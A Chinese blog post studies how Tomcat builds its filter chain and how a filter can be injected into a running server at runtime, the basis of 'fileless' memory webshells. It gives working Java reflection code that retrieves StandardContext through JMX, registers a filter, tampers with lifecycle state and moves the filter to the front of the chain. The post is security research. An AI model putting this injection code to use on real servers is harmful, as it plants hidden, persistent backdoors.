zoukankan      html  css  js  c++  java
  • Tomcat Filter之动态注入

    前言

    最近,看到好多不错的关于“无文件Webshell”的文章,对其中利用上下文动态的注入Filter的技术做了一下简单验证,写一下测试总结,不依赖任何框架,仅想学习一下tomcat的filter。

    先放几篇大佬的文章:

    Filter介绍

    详细介绍略,简单记录一下我的理解:

    • 过滤器(Filter):用来对指定的URL进行过滤处理,类似.net core里的中间件,例如登录验证过滤器可以用来限制资源的未授权访问;
    • 过滤链(FilterChain):通过URL匹配动态将所有符合URL规则的过滤器共同组成一个过滤链,顺序有先后,类似.net core的管道,不过区别在于过滤链是单向的,管道是双向;

    同Servlet,一般Filter的配置方式:

    • web.xml
    • @WebFilter修饰

    Filter注册调用流程

    新建一个登录验证的Filter: SessionFilter.java

    package com.reinject.MyFilter;
    
    import java.io.IOException;
    
    import javax.servlet.Filter;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.annotation.WebFilter;
    import javax.servlet.annotation.WebInitParam;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import javax.servlet.http.HttpServletResponseWrapper;
    
    /**
     *    判断用户是否登录,未登录则退出系统
     */
    @WebFilter(filterName = "SessionFilter", urlPatterns = "/*",
            initParams = {@WebInitParam(name = "logonStrings", value = "index.jsp;addFilter.jsp"),
                    @WebInitParam(name = "includeStrings", value = ".jsp"),
                    @WebInitParam(name = "redirectPath", value = "/index.jsp"),
                    @WebInitParam(name = "disabletestfilter", value = "N")})
    public class SessionFilter implements Filter {
    
        public FilterConfig config;
    
        public void destroy() {
            this.config = null;
        }
    
        public static boolean isContains(String container, String[] regx) {
            boolean result = false;
    
            for (int i = 0; i < regx.length; i++) {
                if (container.indexOf(regx[i]) != -1) {
                    return true;
                }
            }
            return result;
        }
    
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            HttpServletRequest hrequest = (HttpServletRequest)request;
            HttpServletResponseWrapper wrapper = new HttpServletResponseWrapper((HttpServletResponse) response);
    
            String logonStrings = config.getInitParameter("logonStrings");        // 登录登陆页面
            String includeStrings = config.getInitParameter("includeStrings");    // 过滤资源后缀参数
            String redirectPath = hrequest.getContextPath() + config.getInitParameter("redirectPath");// 没有登陆转向页面
            String disabletestfilter = config.getInitParameter("disabletestfilter");// 过滤器是否有效
    
            if (disabletestfilter.toUpperCase().equals("Y")) {    // 过滤无效
                chain.doFilter(request, response);
                return;
            }
            String[] logonList = logonStrings.split(";");
            String[] includeList = includeStrings.split(";");
    
            if (!this.isContains(hrequest.getRequestURI(), includeList)) {// 只对指定过滤参数后缀进行过滤
                chain.doFilter(request, response);
                return;
            }
    
            if (this.isContains(hrequest.getRequestURI(), logonList)) {// 对登录页面不进行过滤
                chain.doFilter(request, response);
                return;
            }
    
            String user = ( String ) hrequest.getSession().getAttribute("useronly");//判断用户是否登录
            if (user == null) {
                wrapper.sendRedirect(redirectPath);
                return;
            }else {
                chain.doFilter(request, response);
                return;
            }
        }
    
        public void init(FilterConfig filterConfig) throws ServletException {
            config = filterConfig;
        }
    }
    

    观察一个正常请求的函数栈:

    _jspService:14, index_jsp (org.apache.jsp)
    service:70, HttpJspBase (org.apache.jasper.runtime)
    service:731, HttpServlet (javax.servlet.http)
    service:439, JspServletWrapper (org.apache.jasper.servlet)
    serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
    service:339, JspServlet (org.apache.jasper.servlet)
    service:731, HttpServlet (javax.servlet.http)
    internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
    internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:66, SessionFilter (com.reinject.MyFilter)
    internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
    invoke:218, StandardWrapperValve (org.apache.catalina.core)
    invoke:122, StandardContextValve (org.apache.catalina.core)
    invoke:505, AuthenticatorBase (org.apache.catalina.authenticator)
    invoke:169, StandardHostValve (org.apache.catalina.core)
    invoke:103, ErrorReportValve (org.apache.catalina.valves)
    invoke:956, AccessLogValve (org.apache.catalina.valves)
    invoke:116, StandardEngineValve (org.apache.catalina.core)
    service:442, CoyoteAdapter (org.apache.catalina.connector)
    process:1082, AbstractHttp11Processor (org.apache.coyote.http11)
    process:623, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
    run:316, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
    runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
    run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
    run:748, Thread (java.lang)
    

    找到最开始的ApplicationFilterChain位置,调用者是StandardWrapperValveinvoke,再观察invoke代码不难看出是用ApplicationFilterFactory动态生成的ApplicationFilterChain

    // Create the filter chain for this request
    ApplicationFilterFactory factory =
        ApplicationFilterFactory.getInstance();
    ApplicationFilterChain filterChain =
        factory.createFilterChain(request, wrapper, servlet);
    

    createFilterChain根据xml配置动态生成一个过滤链,部分代码如下:

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps();
    
    // If there are no filter mappings, we are done
    if ((filterMaps == null) || (filterMaps.length == 0))
        return (filterChain);
    
    // Acquire the information we will need to match filter mappings
    String servletName = wrapper.getName();
    
    // Add the relevant path-mapped filters to this filter chain
    for (int i = 0; i < filterMaps.length; i++) {
        if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMaps[i], requestPath))
            continue;
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMaps[i].getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        boolean isCometFilter = false;
        if (comet) {
            try {
                isCometFilter = filterConfig.getFilter() instanceof CometFilter;
            } catch (Exception e) {
                // Note: The try catch is there because getFilter has a lot of 
                // declared exceptions. However, the filter is allocated much
                // earlier
                Throwable t = ExceptionUtils.unwrapInvocationTargetException(e);
                ExceptionUtils.handleThrowable(t);
            }
            if (isCometFilter) {
                filterChain.addFilter(filterConfig);
            }
        } else {
            filterChain.addFilter(filterConfig);
        }
    }
    

    所有的filter可以通过context.findFilterMaps()方法获取,FilterMap结构如下:

    FilterMap中存放了所有filter相关的信息包括filterNameurlPattern

    有了这些之后,使用matchFiltersURL函数将每个filter和当前URL进行匹配,匹配成功的通过context.findFilterConfig获取filterConfigfilterConfig结构如下:

    之后将filterConfig添加到filterChain中,最后回到StandardWrapperValve中调用doFilter进入过滤阶段。

    这个图(@宽字节安全)能够很清晰的看到整个filter流程:

    通过上面的流程,可知所有的filter信息都是从context(StandardContext)获取到的,所以假如可以获取到这个context就可以通过反射的方式修改filterMapfilterConfig从而达到动态注册filter的目的。

    获取context

    打开jconsole,获取tomcatMbean:

    感觉其中好多地方都可以获取到context,比如RequestProcessorResourceProtocolHandlerWebappClassLoaderValue

    Value获取

    代码:

    MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
    // 获取mbsInterceptor
    Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
    field.setAccessible(true);
    Object mbsInterceptor = field.get(mBeanServer);
    // 获取repository
    field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
    field.setAccessible(true);
    Object repository = field.get(mbsInterceptor);
    // 获取domainTb
    field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
    field.setAccessible(true);
    HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);
    // 获取domain
    NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/,host=localhost,name=NonLoginAuthenticator,type=Valve");
    field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
    field.setAccessible(true);
    Object object = field.get(nonLoginAuthenticator);
    // 获取resource
    field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
    field.setAccessible(true);
    Object resource = field.get(object);
    // 获取context
    field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(resource);
    

    反射弧:mBeanServer->mbsInterceptor->repository->domainTb->nonLoginAuthenticator->resource->context

    通过StandardContext注册filter

    通过filter流程分析可知,注册filter需要两步:

    • 修改filterConfigs
    • 将filter插到filterMaps0位置;

    在此之前,先看一下我们比较关心的context中三个成员变量:

    • filterConfigs:filterConfig的数组
    • filterRefs:filterRef的数组
    • filterMaps:filterMap的数组

    filterConfig的结构之前看过,filterConfig.filterRef实际和context.filterRef指向的地址一样:

    Expression: ((StandardContext) context).filterConfigs.get("SessionFilter").filterDef == ((StandardContext) context).filterDefs.get("SessionFilter");

    StandardContext类的方法看,可以调用StandardContext.addFilterDef()修改filterRefs,然后调用StandardContext.filterStart()函数会自动根据filterDefs重新生成filterConfigs

    filterConfigs.clear();
    for (Entry<String, FilterDef> entry : filterDefs.entrySet()) {
        String name = entry.getKey();
        if (getLogger().isDebugEnabled())
            getLogger().debug(" Starting filter '" + name + "'");
        ApplicationFilterConfig filterConfig = null;
        try {
            filterConfig =
                new ApplicationFilterConfig(this, entry.getValue());
            filterConfigs.put(name, filterConfig);
        } catch (Throwable t) {
            t = ExceptionUtils.unwrapInvocationTargetException(t);
            ExceptionUtils.handleThrowable(t);
            getLogger().error
                (sm.getString("standardContext.filterStart", name), t);
            ok = false;
        }
    }
    

    综上,修改filterRefsfilterConfigs的代码如下:

    // Gen filterDef
    filterDef = new FilterDef();
    filterDef.setFilterName(filterName);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
    // Add filterDef
    context.addFilterDef(filterDef);
    // Refresh filterConfigs
    context.filterStart();
    

    filterMaps就简单了,添加上去改一下顺序加到0位置:

    // filterMap
    filterMap.setFilterName(filterName);
    filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST));
    filterMap.addURLPattern(filterUrlPatern);
    context.addFilterMap(filterMap);
    // Order
    Object[] filterMaps = context.findFilterMaps();
    Object[] tmpFilterMaps = new Object[filterMaps.length];
    int index = 1;
    for (int i = 0; i < filterMaps.length; i++)
    {
        FilterMap f = (FilterMap) filterMaps[i];
        if (f.getFilterName().equalsIgnoreCase(filterName)) {
            tmpFilterMaps[0] = f;
        } else {
            tmpFilterMaps[index++] = f;
        }
    }
    for (int i = 0; i < filterMaps.length; i++) {
        filterMaps[i] = tmpFilterMaps[i];
    }
    

    通过ApplicationContext注册filter

    多次调试发现有多处context,上面一直用的都是StandardContext,观察该结构发现还有一个私有变量context,类型为ApplicationContext,通过他的定义发现其实就是一个ServletContext

    public class ApplicationContext implements ServletContext {
    }
    

    该结构中也有一些filter操作的方法:

    public Map<String, ? extends FilterRegistration> getFilterRegistrations() {}
    public FilterRegistration getFilterRegistration(String filterName) {}
    public FilterRegistration.Dynamic addFilter(String filterName, Filter filter) {} 
    

    这三个函数返回值都是FilterRegistration,看一下结构:

    public class ApplicationFilterRegistration implements FilterRegistration.Dynamic {
        public void addMappingForServletNames(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... servletNames) {}
        public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {}
        public Collection<String> getServletNameMappings() {}
        public Collection<String> getUrlPatternMappings() {}
        public String getClassName() {}
        public String getInitParameter(String name) {}
        public Map<String, String> getInitParameters() {}
        public String getName() {}
        public boolean setInitParameter(String name, String value) {}
        public Set<String> setInitParameters(Map<String, String> initParameters) {}
        public void setAsyncSupported(boolean asyncSupported) {}
    }
    

    很明显打包了一些常用的注册Filter的函数,所以可以使用ApplicationContextFilterRegistration进行注册,测试代码如下:

    // Define
    ApplicationContext applicationContext = new ApplicationContext(standardContext);
    Filter filter = new TestApplicationContextAddFilter();
    // Registe Filter
    FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter(filterName, filter);
    // Create Map for urlPattern
    filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{urlPatern});
    // Order
    Object[] filterMaps = standardContext.findFilterMaps();
    Object[] tmpFilterMaps = new Object[filterMaps.length];
    int index = 1;
    for (int i = 0; i < filterMaps.length; i++)
    {
        FilterMap f = (FilterMap) filterMaps[i];
        if (f.getFilterName().equalsIgnoreCase(filterName)) {
            tmpFilterMaps[0] = f;
        } else {
            tmpFilterMaps[index++] = f;
        }
    }
    for (int i = 0; i < filterMaps.length; i++) {
        filterMaps[i] = tmpFilterMaps[i];
    }
    

    很不幸,有IllegalStateException异常:

    严重: Servlet.service() for servlet [HelloWorldServlet] in context with path [] threw exception [Servlet execution threw an exception] with root cause
    java.lang.IllegalStateException: Filters can not be added to context  as the context has been initialised
    	at org.apache.catalina.core.ApplicationContext.addFilter(ApplicationContext.java:1005)
    	at org.apache.catalina.core.ApplicationContext.addFilter(ApplicationContext.java:970)
    	at com.reinject.test.TestApplicationContextAddFilter.<clinit>(TestApplicationContextAddFilter.java:61)
    	at com.reinject.MyServlet.HelloWorldServlet.doGet(HelloWorldServlet.java:50)
    	at javax.servlet.http.HttpServlet.service(HttpServlet.java:624)
    	at javax.servlet.http.HttpServlet.service(HttpServlet.java:731)
    

    通过观察AddFilter报错的位置,发现是对standardContextstate校验的时候不达标抛出的异常:

    if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
        //TODO Spec breaking enhancement to ignore this restriction
        throw new IllegalStateException(
                sm.getString("applicationContext.addFilter.ise",
                        getContextPath()));
    }
    

    那么可以先修改一下stateLifecycleState.STARTING_PREP:

    java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
    stateField.setAccessible(true);
    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
    

    再运行正常:

    不过测试发现如果state不改回来,之后访问所有页面都会503

    综上:

    // Fix State
    java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
    stateField.setAccessible(true);
    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
    // Define
    ApplicationContext applicationContext = new ApplicationContext(standardContext);
    Filter filter = new TestApplicationContextAddFilter();
    // Registe Filter
    FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter(filterName, filter);
    // Create Map for urlPattern
    filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{urlPatern});
    // Restore State
    stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
    stateField.setAccessible(true);
    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
    // Order
    Object[] filterMaps = standardContext.findFilterMaps();
    Object[] tmpFilterMaps = new Object[filterMaps.length];
    int index = 1;
    for (int i = 0; i < filterMaps.length; i++)
    {
        FilterMap f = (FilterMap) filterMaps[i];
        if (f.getFilterName().equalsIgnoreCase(filterName)) {
            tmpFilterMaps[0] = f;
        } else {
            tmpFilterMaps[index++] = f;
        }
    }
    for (int i = 0; i < filterMaps.length; i++) {
        filterMaps[i] = tmpFilterMaps[i];
    }
    

    实验过程中的代码

    获取 方式,git clone https://github.com/cnsimo/TomcatFilterInject.git

    部署方式,idea + tomcat7.0.70

    添加tomcat7.0.70/lib为依赖。

  • 相关阅读:
    eclipse如何与git 配合工作。
    git托管代码(二)
    PPC2003 安装 CFNET 3.5成功
    我的Window Mobile WCF 項目 第三篇 WM窗体设计
    我的Window Mobile WCF 項目 第一篇Mobile开发和WinForm开发的区别
    我的Window Mobile WCF 項目 第七天
    我的Window Mobile WCF 項目 第二篇 WindowsMobile访问WCF
    WCF 用vs2010 和 vs2008的简单对比测试
    vs2010beta1 和 搜狗输入法 冲突,按下 Ctrl 键就报错,重装搜狗解决
    我的Window Mobile WCF 項目 第六天 (二)
  • 原文地址:https://www.cnblogs.com/lxmwb/p/13235572.html
Copyright © 2011-2022 走看看